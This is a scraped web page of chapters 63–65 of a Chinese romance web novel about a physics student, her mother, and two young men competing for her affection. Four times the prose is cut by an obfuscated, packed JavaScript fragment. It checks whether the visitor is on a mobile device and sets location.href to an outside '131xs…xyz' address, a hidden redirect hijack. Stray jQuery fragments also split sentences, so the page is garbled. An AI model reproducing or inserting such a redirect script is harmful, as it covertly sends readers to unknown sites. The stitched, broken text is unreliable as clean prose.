p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959075|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿姨要过来？”宁苒惊喜地瞪大了眼睛，立即答应下来：“当然没问题啊，顺手的事啦。” “你去吧。” 夏汀禾放心地出了教室，只是刚出来，转头又被人叫住了。 “夏汀禾。” 这时候光是听到付言辞的声音，她都会紧张不已。脑子里乱糟糟的，她还没想清楚怎么去处理这些事情。 付言辞很快跟了上来，站在了她身边。 “我和你一起去吃饭。” 这种转变对她来说太大，夏汀禾没抬头看他，只说：“……抱歉。” 听到她的回答，付言辞的声音变得有些急促：“你和他约好了？” 夏汀禾有些无力地解释了下缘由，付言辞听完后才松了口气。 他又道：“那我陪你走一段路。” 这本应该是她期待的，但不知道为什么，夏汀禾走得比平常还快，不到一分钟就出了教学楼。 一下来，她就和付言辞告了别，坐校车走了。 见到蔺妤之后，夏汀禾才感觉到心里终于平静下来。 蔺妤先带她去了商场里吃饭，走过去的途中正好碰上一家旗袍店。 店内装饰得简约大气，各式各样的旗袍按色系挂着，配色摆放十分舒适。 不过商场里的服装店夏汀禾是从来不会进去的，简单款的短袖都要好几百，这样的设计款没有个几千是下不来的。 然而蔺妤叫住了她：“进去看看。” “……不用了。”夏汀禾回她说，“我还有很多衣服都没穿过呢。” 她在学校里穿的也就那几样，只有出去玩的时候才会费心打扮搭配下，所以很多蔺妤帮她买的也就堆在了衣柜里，吊牌都没剪。 “旗袍你就那一件吧。”蔺妤想了下，“上次你发照片给我看的那件，都去年买的了，穿上挺好看的，再买几件试试。” 即便是说着给她买东西，蔺妤脸上仍旧是淡淡的神情，让夏汀禾又不敢拒绝了。 最后蔺妤又帮她买了三套不同款式风格的。 临走前，店员仍不住和蔺妤搭起话来：“我家里有个几岁的小丫头，我都总想给她买衣服，何况是像您女儿长得这么漂亮的。” 都是客套话，夏汀禾没放在心上，蔺妤却面不改色地应下了：“谢谢。你也可以给你女儿多买点。” 店员：“……” 夏汀禾：“……” 出了店门，夏汀禾忍不住对蔺妤说：“妈妈，以后可以不用给我买这么贵的。我也不经常穿。” 付款的时候看到价格，夏汀禾一时间都愣住了。 蔺妤却没放在心上：“几件衣服而已。最近正好拿了项目奖金，就当是给你买的礼物了。” 夏汀禾更加惊喜的是她拿下了项目。 她笑了起来，温声问：“那妈妈你明年是有机会升职了吗？” 蔺妤看着她脸上的笑容，神情也不自觉地跟着松动了些：“也许吧，可能性会增加。” 夏汀禾更加开心了。 不仅是觉得妈妈厉害，更是替蔺妤高兴。 母女俩又朝餐厅走去，路上蔺妤突然想起来问：“对了，你上次穿旗袍说是和朋友一起玩，哪个朋友？” 蔺妤这么问也只是想多了解一下夏汀禾身边的人。 然而她并不知道和夏汀禾一起出去的是男生。 是贺祁。 夏汀禾支支吾吾地说出了口：“就是在学校外认识的朋友……你没见过的。” 好在蔺妤点了点头后，就没再深问：“下次有机会可以叫她一起过来吃个饭。” 能和夏汀禾一起在晚上出去的，蔺妤想着应该是关系不错的朋友。 脸颊倏地一红，夏汀禾低低地应了一声：“哦。” 进了餐厅，蔺妤先去了趟洗手间。 夏汀禾坐在位置上，正想着怎么应对付言辞的回答。 包里的手机忽地响了一声。 她怕是付言辞发消息过来的，深吸了一口气才拿出来看。 然而并不是。 是贺祁发过来的。 贺祁：【出去了？你室友说你不在宿舍】 63. 钥匙 赶在蔺妤回来之前，夏汀禾迅速给了回复。 夏汀禾：【嗯，我妈妈过来了，我现在和她在商场吃饭】 夏汀禾：【你去学校找我了？】 不是周末的话，贺祁一般是晚上过来。 贺祁很快回了她：【昂】 贺祁：【那你先吃】 夏汀禾不知道他接下来的打算是什么，但怕贺祁在学校里等她，又想发一句自己吃完后应该还会陪妈妈在附近逛一下，让他先回去。 只是还没编辑好，座位边的玻璃窗忽地被人敲了两下。 夏汀禾扭头看去，视线先落在了女人的一字肩黑色针织裙上，往上才看到干净利落的盘发和一张成熟且有气质的脸。 “周姨？”夏汀禾微微瞪圆了眼睛。 周璃点了点头，朝她抛去一个眼神，便绕过玻璃窗从另一边过来了。 周璃是蔺妤的同学，两个人上学时关系好得不行，做什么都黏在一块。 一直到工作、蔺妤结婚、夏汀禾出生，周璃都始终陪在蔺妤身边。夏汀禾现在都还记得小时候周璃让她认干妈的事。 然而两人的关系在蔺妤离婚的那几年发生了转变，夏汀禾不清楚具体的原因，只知道某天两人吵了一架之后，就几乎再也没碰过面。 即便现在仍在一家公司里，也发展成了老死不相往来的架势。 夏汀禾从此也没见过蔺妤带过其他的朋友回家住。 如今能里再次遇见，夏汀禾自然是极为欣喜的。 周璃走了进来，脸上带着灿烂的笑。 “都长成大美女了，阿姨差点没认出来，在窗外看了老半天才敢叫你。” 周璃和蔺妤是几乎相反的性子，蔺妤清冷话少，她却十分热情开朗。 夏汀禾腼腆地笑了下，又让服务员拿了一套餐具过来。 “这不是有吗？”周璃在她对面坐下，指了指桌上的两套碗筷。 她以为夏汀禾是一个人来餐厅的。 夏汀禾不好意思地解释缘由：“……我妈妈去洗手间了。” “你和你妈一起来的？”周璃的脸色变了下，语气也跟着淡了下来：“行吧，那我也不在这儿待了，你妈也可能不想见到我。” 她朝夏汀禾眨了眨眼：“那咱们下次有空再约了。” 说是这么说，周璃拿包的动作却慢了些，直到听到往这边来的脚步声，她才倏地起身。 正好迎面撞上过来的蔺妤。 周璃解释了下：“我以为是汀禾一个人在这儿才过来的。” 蔺妤看了眼她，脸上依旧毫无波澜：“嗯，现在知道我也在了，你走吧。” 周璃：“……” 脾气一上来，周璃把刚背上的包又扔到了沙发上：“那我偏不走了。” “你少我的几顿饭没还呢。” “随你。” 蔺妤一副早就习惯了的模样，把自己的餐具拿到了夏汀禾这边，和她坐在了一起。 饭桌上的气氛瞬间变得诡异起来。 明明两个人是多年旧友，全程却没有搭上过半句话，夏汀禾自然而然成了夹在中间的哪个。 周璃找话题聊地问她：“汀禾已经二十岁了是吗？有没有交男朋友呢？” 夏汀禾还没回答，蔺妤已经接了话：“还小，着什么急？” 周璃：“我是在和汀禾说话。” 蔺妤：“我也是。” 夏汀禾：“……” 周璃又问：“你是学物理的是吗？平时忙不忙呀？上的课应该都挺难的吧？” 蔺妤：“上学不务正业、整天出去瞎玩的，大概都不会觉得忙。” 夏汀禾：“…………” 几场对话下来，周璃也懒得开口了，直接安静地开始吃饭了。 夏汀禾也是今天才知道原来她们俩的相处方式是这样的。 蔺妤吃一点就饱了，先去前台结账了。 等她一走，周璃立即忍不住和夏汀禾吐槽：“看看你妈，四十多岁的人了，还这么无聊。” 她嘴上吐槽着，脸上却是笑着的。 夏汀禾往前台那看了看，措辞了片刻，才小心翼翼地问出口：“周姨，我能问一下，你们当时为什么吵架吗？” 周璃托着下巴想了想：“其实也没什么。就是你妈她心里不坦诚，不肯面对自己的内心。我说出来了，她就生气了发火了。” “就现在啊，我敢保证她对你爸还有感情，只是拉不下脸来去和人说清楚，要不然她也不会这么多年还单着不是？当然也可能是她就想着你们俩母女好好过日子。总之公司里追她的多了去了，条件比你爸爸好的也一抓一大把，但都被她拒绝了。” 说到这里，周璃也生气了：“夏景年也是个呆子，老婆不主动，自己不会主动吗？跑公司来打架算是怎么回事？当英雄吗？” 她说的是之前因为公司里有人对蔺妤离婚的事嚼舌根、夏景年跑过去揍人。 一说完，周璃看着对面的夏汀禾，突然想起骂的人是人家爸爸，又瞬间止住了。 正好这时蔺妤也结完了账回来，三个人坐在餐桌边又聊了一些有的没的，直到周璃有事要先走了。 临走前，周璃让蔺妤存自己的新号码。蔺妤拒绝了，她直接把手机抢了过来输入了进去。 “存着吧，万一哪天有事找我呢？我也不是什么人的事都会帮忙的。” 蔺妤肯定地说：“不会。” 但还是拿她没办法了，存下了号码。 吃完饭，蔺妤又带着夏汀禾去附近的商圈逛了逛，买了一些礼物让她给室友带回去。 等到了不得不去赶航班时，蔺妤才在路边打了车。 “妈妈。”夏汀禾叫住了她。 蔺妤正弯着腰准备坐车里去，听见她这么一句又抬起了头来：“怎么了？” 夏汀禾其实想问她关于她和爸爸之间的事。 只是在蔺妤看着她之后，夏汀禾又忽地不想知道了。 妈妈现在也过得挺好。 并不一定需要其他的感情来参杂生活。 “没什么。”夏汀禾摇了摇头，又扬起脸来对她笑了笑：“路上注意安全，我晚上会给你发消息的。” 蔺妤不自觉地也扯了个笑：“知道了，你也是。” 目送着轿车远去，夏汀禾才走路回学校。 分别后，夏汀禾一路上心情说不上好。 刚和妈妈见完面，她觉得自己应该是高兴的，但却总有股劲压着似的让她开心不起来。 思绪兜兜转转又绕回到了付言辞身上。 还是因为他的事情没有解决。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967343|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏汀禾在路边停了下来，打开了微信对话框。 他们俩的对话还停留在中午付言辞给她发的那条。 付言辞：【回来了和我说一声，我去找你】 没有什么想回复的欲望，夏汀禾轻呼了一口气，又收起了手机。 她慢悠悠地往前走着，甚至越来越慢，快要到校门时，习惯性地抬头一看。 夏汀禾没想到有人在等她。 她停住了脚步，没再过去。 好像就是知道贺祁会朝她走过来。 事实也是如此。 对视了两秒，贺祁就迈开了腿径直走向她。 人到眼前来了，夏汀禾都还没完全反应过来，怔愣地问他：“……你怎么没有回去？” 她和妈妈吃饭逛街花了差不多三四个小时，贺祁就一直在学校里等她吗？ 贺祁没觉得有什么大不了的，一如既往地漫不经心，反而是再看到她之后脸上的神情都轻松了不少，回她说：“来都来了。” 看夏汀禾脸上开始露出愧疚的神情，他又解释说：“没在这儿干等着，在校内逛了一圈看了下风景，也挺有趣的。” “现在要回宿舍么？” 夏汀禾摇了摇头：“不是很想。” 今天莫名地就是不想在学校里待着。 突然想起了什么，夏汀禾悄悄抬眸看了他一眼，道：“你家离这里远吗？” 不知道她怎么忽地对这个感兴趣，贺祁回答说：“上次不是告诉你了？不算远，开车十几分钟。” 夏汀禾又往边上看了看，他的车还停在路边。 “哦。”她又低声说了一句：“你今天也是开车来的。” 贺祁“嗯”了一声，想问她有什么事，正准备说，脑子里突然串起她这两句话。 他勾了下嘴角，懒洋洋地问出了口：“怎么？想去我家看看？” “没有！” 本就是临时起意，夏汀禾也没想到他会这么快猜中。 听着耳边低低的笑声，夏汀禾瞬间打退堂鼓，快速道：“……只是有点好奇，你要是觉得不太好的话，那就算了。” 她只是记起了上次去他家没去成的事，当时贺祁说是因为快晚上了，但是现在还是白天。 而且她肯定也不会在他家待太久。 “我什么时候觉得不好了？”贺祁的视线浅浅扫过夏汀禾微红的脸，笑着说：“上次不是都说了可以把钥匙给你么？” 夏汀禾不理会他这些话，自己干脆直接走去了他的车旁边。 一声响。 贺祁跟在她身后给车解了锁。 的确和贺祁说的一样，去他家差不多就是十五分钟的车程。 贺祁家是一户一梯型的，站在门口时，夏汀禾这时候才意识到有个关键的事情没问。 她迅速地抓住了贺祁的衣袖：“叔叔阿姨在家吗？” “在吧。”这还是他思索了之后给的答案，“我出门的时候他们俩都在客厅看电视。” 夏汀禾退缩的心思更加强烈了，她想说“那我还是回去算了”，但贺祁已经先她一步说了：“紧张什么？都见过几次了，他们也都认识你。” 贺祁垂眸看着她的神情变化，又笑着补充了句： “经验比别人都多了，还怕见家长么？” 64. 感受 夏汀禾最后还是跟着贺祁进了他家。 屋子里的布置和夏汀禾想象中的不同，整体色调是暖色的，米白色瓷砖上都铺了地毯，干净整洁。 客厅木制家具偏多，角落里各个地方都摆着绿植，墙上还挂了一些山水画，连着宽大落地窗外郁郁葱葱的树木，远远地看着像是一间山中民宿，扑面而来都是静谧温馨的气息。 还在门口，夏汀禾就已经在准备好了怎么打招呼了。 只是往客厅一看，沙发上压根没人。除了他们俩，屋子里也没有其他动静。 夏汀禾回头看向贺祁，这人咳了下，面不改色地说：“可能刚出去了。” 见夏汀禾一脸不信，贺祁又笑了笑，重复了遍：“真的，不然我打给电话给他们问问？” 他说着就解开了手机锁屏，打算拨号，被夏汀禾一把摁住了手腕。 她抿了下唇道：“我又没说不信。” 贺祁任由她把手机从自己这儿抽走，放在了玄关处的柜子上。 这么一折腾，夏汀禾身上的柔粉色毛衣也被扯上去了一节。 贺祁无意间低头瞥见腰间的曲线，迅速又撇过了头。 他没动手了，只看向一边对夏汀禾道：“……行了，先进去。” 瞥见他耳朵红了，夏汀禾低头看了看自己，意识到刚刚发生了什么后，她迅速整理好了衣服，也红着脸走了进去。 客厅里有一整面墙的书架，架子上整整齐齐地摆满了书，一眼就吸引了夏汀禾的视线。 “我可以去看看吗？” 贺祁点了点头：“随便看。” 书架分了三列，大致看了下书名，夏汀禾很快摸索出来是按家里三个人来分的。贺祁的书架上几乎都是天文相关的，著作、期刊、杂志之类的都有。 夏汀禾随手拿了一本，里面的书签正好卡在国外一个地方的天文观景台图片上。 书页旁边的空白处有笔记，记着日期和一些感悟。 “这是你写的吗？”夏汀禾问贺祁。 贺祁凑过来瞄了两眼：“是，不过已经是几年前去的了。” 看了下她，贺祁问：“你喜欢这儿？” “嗯。” 第一次知道这个地方，是在一本高中物理习题册的题目插图里。 题目似乎是有关天体物理那一部分的，夏汀禾已经记不清具体内容了，只记得当时的感受 ——她坐在教室里，写题的空隙中往窗外看了眼，瞥见绚烂的晚霞，好像自己也置身在插图的环境里了，但再回头却依旧是班上为了高考拼命埋头苦干的同学。 夏汀禾当时就想着，以后就可以去那么遥远的地方了吗？ 她并不确定，只是轻呼了一口气后，便又开始了做题。 后来每次夏汀禾想到关于未来、关于远方的事，总会忍不住把那一页翻出来看。 现在她好像又回到了那个路口。 但这一次似乎可以是她自己做选择了。 “它附近有一所挺有名的高校，天文相关专业排名在全球还挺靠前的，有了解过么？” 贺祁拿过书，往前翻了几页给她看：“这所。” 夏汀禾告诉了他：“之前查过一些。” 就是从上次贺祁整理了那些院校信息发给她后。 听到她这个回答，贺祁靠在了旁边的桌沿边问她：“想去么？” 心里其实也早就有这个想法了，只是夏汀禾会习惯性地否定自己，她垂了垂眼睫，低声说：“会比较难吧。” 她连出国旅游都还没有尝试过。一个人待在异国他乡也会让她不适应。 夏汀禾犹豫地抬头看了下贺祁，发现他仍旧在看着自己后，又瞥开了眼。 贺祁对她说：“都没试过怎么知道难不难？” 夏汀禾没说话了。 她又看了看那幅图，心里好像渐渐有了答案，只是仍未完全确定，只好道：“我再考虑一下。” - 夏汀禾在书架上翻找着书，贺祁本来是跟在她身旁的，但中途有人打电话过来，他只好先去了阳台上接。 许久没见他过来，夏汀禾只好选了一本坐在沙发上看。 贺祁是去的二楼，他一走，屋子里也就安静了下来。夏汀禾这时候听见雨声，她往窗外一看。 果然是下雨了。 深秋里的雨总是细密绵长的，打在树叶上也轻柔，这时候天空连带着一块变暗，像是把原本明亮的世界悉数卷入了雾蒙蒙的回忆里。 看了一会儿雨，夏汀禾又收回视线落到了书上。没多久，精力像是逐渐消耗完了似的，手上翻动纸张的速度慢了下来。 她闭眼靠着沙发睡着了。 兴许是这几日付言辞在面前出现的频率太高，半梦半醒中夏汀禾也再一次梦见了他。 只是浮现出来零零碎碎的画面并不算好。 比如高中时期待了很久的徒步活动，夏汀禾默默地跟在他身边，付言辞却始终没发现。 他和别的女生搭话聊天，夏汀禾没办法阻止，也只能强迫自己不去看、不去想。 竞赛获奖的名字被一起念出来，夏汀禾都会欣喜许久，但有人问付言辞一起获奖另一个人是谁，他却只会说不知道。 …… 夏汀禾鼓起勇气表白，换来的只有风中的一句：“如果是真的，那……” “抱歉。” 付言辞的话又一次回响在耳边，那种难受、闷得喘不过气来的感受再一次席卷全身。 夏汀禾在挣扎中醒了过来。 一睁开眼，眼前是漆黑的一片。 身上出了层薄汗，夏汀禾低头一看，发现自己身上多了条毛毯。 “啪嗒”一下，客厅的灯很快被打开。 走过来的是贺祁的父母。 夏汀禾瞬间就清醒了。 “醒啦？睡得还好吗？”贺母给她递了杯热水，笑着说：“贺祁下去买东西了，我现在叫他回来。” 她又扭头对贺父道：“看看你儿子，带朋友回来了也不知道好好招待，就让人家在沙发上睡觉了。” “不好意思啊，汀禾。” 夏汀禾迅速摇头，顺道把身上的毛毯拿了下来折好。 她哪还敢觉得招待不周啊。 只是在想着自己刚刚睡着的时候有没有说什么奇怪的话。 贺父打了个电话儿子，又接着妻子的话说：“好在这小子还知道给人拿块毛毯盖上。” 夏汀禾手上的动作一顿，更加后悔下午说要来他家的决定了。 贺母倒是一贯地喜欢她，又在她旁边坐下说：“我们刚刚吃过晚饭了，剩饭剩菜也不好意思再拿出来给你吃，待会儿贺祁回来了让他带你去附近的餐厅，有几家味道不错的。” 夏汀禾看了眼时间，已经晚上七点了。 她在贺祁家里睡了两个多钟头。 夏汀禾赶忙拒绝：“……不用了阿姨，我学校里还有点事，就先回去了。” “那叫贺祁送你。” “不是很远的，我自己可以打车过去。” 生怕给别人再添麻烦，夏汀禾礼貌地告了别，就迅速出了门。 - 走在路上，夏汀禾还在不停地捂着脸，想让脸上的温度降下来。 正好也想散散步，她是打算坐地铁回去的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971902|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是付言辞突然打了电话过来。 这时候看到他的名字，夏汀禾都下意识地感觉到闷，她缓了缓才点了接通。 付言辞清冷低沉的声音透过听筒传过来：“你还没回来么？” 这是她再熟悉不过的。 对比梦里的情形，夏汀禾总觉得还是很不真切。 她站在路边，看了看旁边绿化带里的灌木丛，雨后的树叶已经变得干净透亮，反射着附近路灯照耀的灯光。 被树木遮挡着，人行道上却仍是昏暗的。 “还没。”她淡淡回了一句。 这一次抢在付言辞开口之前，夏汀禾先问他：“付言辞，你真的……” 停顿了下，她又深吸了一口气才说：“你真的喜欢我吗？” 夏汀禾已经不知道自己现在在坚持着，是因为喜欢他，还是因为已经成了习惯。 “是。”付言辞没有犹豫地告诉了她。 夏汀禾眨了眨眼，眼眶突然有些酸。 “那你之前为什么拒绝我？”夏汀禾吸了吸鼻子，“我也从来没有感受到过你的喜欢。” 电话那头沉默了一会儿，似乎是不打算说原因。 夏汀禾抿了下唇，心也更着冷了下来：“如果你不解释的话，那我也可以只当你是随口一说而已，对吧？” “那我们也没什么好聊的了。” 夏汀禾揉了下眼睛，准备挂断电话。 付言辞忽地出声，阻拦了她：“之前是因为不确定你对我的态度。” “后来拒绝……” “是因为觉得我配不上你。” 他说得很艰难，似乎难以启齿，但又害怕她真的挂断电话，所以不得不快点给出答案。 夏汀禾瞬间没了声。 电话还在接通中，两个人却都没再说话。 夏汀禾愣愣地站在树下，旁边忽地有人踩着自行车飞驰而过，吹过来的风让她有些冷。 半响，付言辞才问她在哪，夏汀禾无意识地告诉他位置。付言辞便让她等会儿，自己过来找她。 记不清发了多久的呆，总之等夏汀禾回过神来时，付言辞已经出现在她眼前了。 “走吧。” 他去牵她的手，夏汀禾却往后缩了下，避开了。 手落在了空中，付言辞也没在意，就这样跟在她身旁，不紧不慢地走着。 一路上两个人也没讲话，回了学校，付言辞又送她去了宿舍。 分开时，付言辞这才开口说：“我知道你可能还不能接受。” “我可以等。” 以前等待的人是她，现在却换成了付言辞。 夏汀禾没点头也没摇头，只说了句“我上去了”便转身进了宿舍楼。 看到她回来，三个室友迅速凑了过来。 “汀妹你终于回来了！你和你妈妈在外面逛了这么久吗？” 夏汀禾不知道该怎么回答，只能说还有别的事耽搁了一会儿。 宁苒又道：“贺祁都来找你两次了。” 两次？ 不是只有中午么？ 夏汀禾疑惑地看向她们。 黎穗却又补了句：“哦哦，不止啊，昨天晚上贺祁不是也来找过了吗？” 夏汀禾：“昨晚上？” 黎穗点了点头：“对啊，一共三次嘛，就昨晚上十点十一点的样子，今天中午和刚刚——几分钟前。” 呼吸一滞。 夏汀禾回想起来，昨晚上十点多，团建结束后，付言辞在宿舍楼附近和她表白的。 几分钟前，她和付言辞一同回的宿舍。 他都看到了吗？ 65. 心动 夏汀禾这时候打开手机，发现贺祁不久前给她发了消息。当时正和付言辞一起走路回学校，她没有看。 贺祁：【怎么突然回去了？到学校了么？】 大抵是贺祁回了家发现她离开之后给她发的。 已经过去了一个多小时，现在再看到，夏汀禾不由得紧张起来。 夏汀禾：【嗯，已经到了】 她担心贺祁会问她付言辞的事情，忐忑不安片刻，直到收到贺祁的回复。 贺祁：【行，早点休息】 他没有问。 夏汀禾一时间说不上心里是什么感受——似乎有些失落他为什么不问，但又真的担心他问了之后自己不知道该怎么回答。 捧着手机看了一会儿，等宁苒过来叫她一起去接热水，夏汀禾才放了下来。 - 几天后，篮球联谊赛开始。 当天早晨，夏汀禾接到明教授的消息，让她过去办公室一趟，给她讲一下她上周发过去的论文。 夏汀禾只得把应援物又拜托宁苒帮自己拿到体育馆去。 宁苒应了下来，叮嘱她道：“那你记得时间哦，九点半开始，我们会帮你占座位的。” “好。” 明教授的办公室和他们辅导员的在一块，夏汀禾并不陌生，很快去了教学楼进了办公室。 只是没想到付言辞也在。 他在和明教授交流着什么，夏汀禾一走进去，付言辞便看了过来。 他很轻地扬了下嘴角，又往旁边站了点，给她挪了位置。 “汀禾来了啊，正好，我也和言辞说完了。”明教授顺手就在电脑上打开了她的论文。 夏汀禾无意间瞥到在这之前的屏幕，上面摆着的是付言辞的一篇已经过稿的SCI论文。 明教授刚也是在根据期刊编辑那边给的意见，在和他讲后续怎么进行修改完善。 早就习惯了付言辞被当作学神一样的存在，夏汀禾很多时候已经忘记了他到底有多厉害。 直到现在。 因为夏汀禾自己也正在做着相同的事，所以她才知道本科生发表一篇有多么艰难。 前段时间她在图书馆熬了一个月看文献查资料，又在实验室待了十几天，最后写出来的论文初稿给明教授看，教授只是笑了笑，和蔼地和她说：“有些地方还需要磨练一下，不着急。” 付言辞在此前投入了多少心血、付出了多少努力，并非旁人能够想象的。 明教授依旧是很温和地和夏汀禾讲解着需要改进的部分。 中途突然停顿了下，想起什么似的，他道：“哦，对了，你对我刚讲的这个理论了解吗？” 没等夏汀禾回答，他又自言自语接了话：“你和言辞一样是大三的是吧？那应该还没学到这里。” 明教授皱了下眉，想出办法来：“这样，等会儿我和你讲完需要调整的框架后，你可以去下去找文献了解一下。要是不懂，问问言辞也行，他前段时间也正好卡在这儿，我和他讲过了。” 明教授看向了一旁的付言辞，眼里都是对学生的满意：“你们又是同龄人，交流起来应该会比较顺畅。” 付言辞直接点了头说好。 夏汀禾没看他，但也只好跟着应了下来。 这时门口突然有人叫了一声付言辞，有事找他过去。 付言辞看了眼时间，对明教授道：“那老师我先走了。” 明教授：“行，去吧。” 说完，他又侧了下身，面对着夏汀禾，轻声重复了遍：“我走了。” 明教授以为仍旧是对他说的，又接了话：“老师刚刚听到了，你有事就去吧。按照编辑的意见改好后再投过去过一遍就行。” 回头看了一眼教授，付言辞没好再说什么，只得出门离开了。 没多久，夏汀禾眼看着也要到时间了，便也说明了原因出去了。 等两人走了，物院的辅导员这时候转过椅子来和明教授搭话。 “明老师，你看你，又自作多情了吧，人家刚刚第二遍的话哪是和你说的？” 明教授侧脸看过去，不理解道：“不是和我，难道是和你？” 辅导员只笑了笑，没说话。 - 从办公室出来，夏汀禾匆匆赶往体育馆。 路上正好碰到谢临，他是上完了课准备过去凑热闹的。 两个人一同坐上了校车，谢临问起她最近科研的进展如何，夏汀禾只很不好意思地告诉他没什么起色。 谢临笑了笑，真情实意地和她说：“没事，慢慢来，先培养基本的思维，再逐步完善就行。别的不说，但你自己应该能感觉到，比之前应该是进步了很多。我本科的时候，都是摸鱼混过来的。” 夏汀禾自然知道他后面这句话是在自谦。想起这段时间谢临对自己的关照，她又道了谢。 谢临被她弄得有些脸红，摆了摆手道：“没关系的，有什么不懂的都可以来问我，只要我知道。” 说完，他忽地止住了声。 沉默了一会儿，他才继续开口：“汀禾，你还记得上次我在实验室给你的那张纸吗？就印了一些资料的那张。” 夏汀禾点了点头：“嗯，我还想着什么时候师兄你有空，请你吃顿饭。” “谢谢你了，不过其实你要感谢的也不是我。” 夏汀禾疑惑地看过去。 谢临深吸了一口气，道：“那是言辞托我帮忙带给你的。” 听到这个名字，夏汀禾只觉得脑袋突然一片空白。 缓了一会儿，她才问：“但他那时候不是在国外吗？” “是啊。”谢临道：“他打电话和我说的。” 夏汀禾一刹那想起那天去Livehouse，林越听到了她和宁苒的对话，再后来他出去给人打了电话讨论实验的事。 付言辞应该是那时候得知她有困难的。 所以，他一直也都在关注着她吗？ 还是说……从更早的时候开始？ 恍恍惚惚中校车抵达了体育馆，下了车，进了馆内，夏汀禾和谢临去了不同的观众席。 班上的人已经排列好坐在了一块儿，联谊赛也早就开始了，人群的欢呼声盖过了一切。 宁苒看见她过来，连忙招手，用口型说着：“这边！” 夏汀禾从阶梯上去，找到了空位坐下。 宁苒把她的应援棒递过去，问她：“怎么这么迟才来，你和教授讨论了很久吗？” 夏汀禾摇了摇头：“校车迟了点。” 宁苒：“行吧。不管了，总之现在可以安心看比赛了。” 宁苒开始在耳边大声地呼喊起来，夏汀禾强迫自己融入氛围之中，不再去想付言辞。 她一只手晃动着应援棒，一只手托着下巴，目光先落在了比分栏上。 15：5。 5是他们校队。 夏汀禾眨了眨眼，又看了一遍，确认自己没看错。 他们的篮球队说不上水平有多顶尖，但至少在近几年的联谊赛中几乎都没输过。这样被血虐的比分还是头一回。 没戴眼镜，坐在后排，夏汀禾只能看见两队人员不断在抢球、拦球、投篮，看不清人脸。 夏汀禾这时候拍了拍宁苒。 “苒苒，我们学校是和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976186|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪个学校打的联谊赛？” 宁苒爽快地回了她：“A大呀。” 夏汀禾愣了下，又往篮球场中央看了看。 穿着黑红色篮球服的男生又一次灌篮，A大的观众席一片尖叫。 应该是对面校队的主力。 只是看着模模糊糊的清瘦身影，夏汀禾总觉得有点眼熟。她不确定地指着对方，问了下宁苒那人是谁。 宁苒瞪大了眼睛看她：“怎么了汀妹？你不会失忆了吧？” 她捧着夏汀禾的脸又看了看，发现是她没戴眼镜惹的祸又放下了心来。 “哦，你没戴眼镜啊，难怪了。” 宁苒告诉她说：“贺祁啊。” “是不是挺意外的？” 自然是极其意外的。 夏汀禾愣愣地说出口：“他不是……不会打篮球吗？” 就在几个月前，这人还以此为由拒绝了她的打球邀约。 听了她的话，宁苒随口应和了一句：“不可能。一看就是高手，都把我们队虐成啥样了。” 夏汀禾这时候反应过来原因。 因为之前和她不熟，贺祁也只是为了应付她而已才随便说的。 对面观众席又一次传来欢呼，不用看就知道他们刚刚又赢了。 接近十一点时，比赛即将结束，结果已经不言而喻。 但做为后援团，该做的还是得做。班长这时候安排同学去给队员送水，夏汀禾中场休息的时候没去，这次她自然被算在了其中。 夏汀禾接过了矿泉水和毛巾往下走。 班长叫住了她：“那个，汀禾，你就把水给付言辞吧。” 夏汀禾脚步一顿，才想起来付言辞是他们校队的队长。 难怪他刚才急匆匆地从办公室走了出去。 每个人分配好，也是为了不出错，在这种情况下，夏汀禾没什么意见。 为了到时送完了水方便直接走，她索性把自己的水和包也拿上了。 哨声吹响，比赛暂停，裁判宣布结果。意料之中的，他们校队输了。 双方队员握手感谢后，比赛算是正式结束。人群开始散去，夏汀禾跟着大部队往前走。 她从阶梯上下来，站在了球场上，环视了一圈才找到了付言辞。 像是知道她会过去，付言辞就在那一边收拾着东西一边看向她。 抄了近路，夏汀禾从接近他的侧门那边的长廊绕了过去。到了侧门这边，先叫了他：“付言辞。” 付言辞和她招了下手，示意自己听到了。 得到回应，夏汀禾迈步过去。 只是刚踏出一步，突然有身影挡在了她面前。 夏汀禾后退了点。 是贺祁。 不知怎么的，一见到他，夏汀禾下意识地就蜷缩了下手指，想把手上拿着的水给藏起来。 她刚才从侧门走，就是不想被贺祁看到的。也不知道这人从哪冒了出来。 贺祁弯腰低头问她：“给我送水的么？” 他笑着的，眉眼都是很好看的弧度，带着期待的眼眸尤其清亮干净。 夏汀禾想说不是。 